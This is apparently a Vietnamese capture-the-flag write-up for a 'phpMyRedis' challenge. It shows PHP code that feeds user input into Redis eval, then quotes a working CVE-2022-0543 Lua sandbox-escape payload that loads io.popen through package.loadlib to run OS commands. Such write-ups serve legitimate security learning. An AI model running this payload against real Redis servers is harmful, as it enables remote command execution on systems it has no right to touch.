---
# System prepended metadata

title: Writeup phpMyRedis

---

# Writeup phpMyRedis

Bài cung cấp cho ta source code của một trang web chạy php, sử dụng csdl Redis.

File `index.php` cho phép người dùng nhập input, input này sau đó sẽ được đưa vào hàm eval của redis.

```
<?php 
                    if(isset($_POST['cmd'])){
                        $redis = new Redis();
                        $redis->connect($REDIS_HOST);
                        $ret = json_encode($redis->eval($_POST['cmd']));
                        echo '<h1 class="subtitle">Result</h1>';
                        echo "<pre>$ret</pre>";
                        if (!array_key_exists('history_cnt', $_SESSION)) {
                            $_SESSION['history_cnt'] = 0;
                        }
                        $_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
                        $_SESSION['history_cnt'] += 1;

                        if(isset($_POST['save'])){
                            $path = './data/'. md5(session_id());
                            $data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
                            file_put_contents($path, $data);
                            echo "saved at : <a target='_blank' href='$path'>$path</a>";
                        }
                    }
                ?>
```

Hàm eval ở đa số các ngôn ngữ là một hàm rất nguy hiểm, dù chưa tiếp xúc với redis nhưng em nghĩ mấu chốt của bài nằm ở đây. Sau khi đọc document của redis về eval thì em biết hàm này cho phép ta chạy lua script, tuy nhiên nó nằm trong một sandbox, trong sandbox này một số hàm như `dofile` (dùng để đọc file) và việc thực thi command không được cho phép. Thấy cụm từ `sandbox` em nghĩ đến việc tìm cách để escape sandbox này. 

Sau khi research thì em thấy có một cve trong năm nay là `CVE-2022-0543`, kèm theo đó là poc của nó.

```
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res
```

Payload này sẽ load function `luaopen_io` từ lib `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`, từ đó load ra function `io.popen()` và thực thi os command, sau đó trả kết quả về.

![](https://i.imgur.com/9q2Kv1s.png)

Và lấy flag:

![](https://i.imgur.com/UyvTTcQ.png)


